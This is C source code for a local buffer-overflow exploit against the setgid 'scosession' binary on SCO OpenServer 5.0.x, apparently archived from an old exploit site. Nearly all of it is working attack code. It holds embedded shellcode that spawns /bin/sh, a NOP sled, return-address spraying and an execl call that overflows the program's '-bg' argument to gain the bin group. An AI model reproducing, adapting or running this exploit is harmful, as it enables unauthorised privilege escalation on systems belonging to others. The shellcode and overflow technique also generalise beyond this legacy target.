/* SCO 5.0.x
 * scosession local bin exploit (sgid bin)
 * Will set egid=2(bin)
 *
 * gcc -o scosessionx scosessionx.c
 *
 * ./scosessionx <offset> <bufsiz>
 *
 * Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble@iname.com */
  "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 10000
#define NOP 0x90

unsigned long get_sp(void)
{
  __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{

  long int offset=0;
  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];

  if(argc > 3)
    {
      fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
      exit(0);
    }
  else if (argc == 3)
    {
      offset=atoi(argv[1]);
      buflen=atoi(argv[2]);
    }
  else
    {
      offset=9000;
      buflen=2000;
    }

  addr=get_sp();

  fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
  fprintf(stderr, "By Brock Tellier btellier@webley.com\n\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr-offset);

  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr+offset;

  execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);
}
/*                    www.hack.co.za              [2000]*/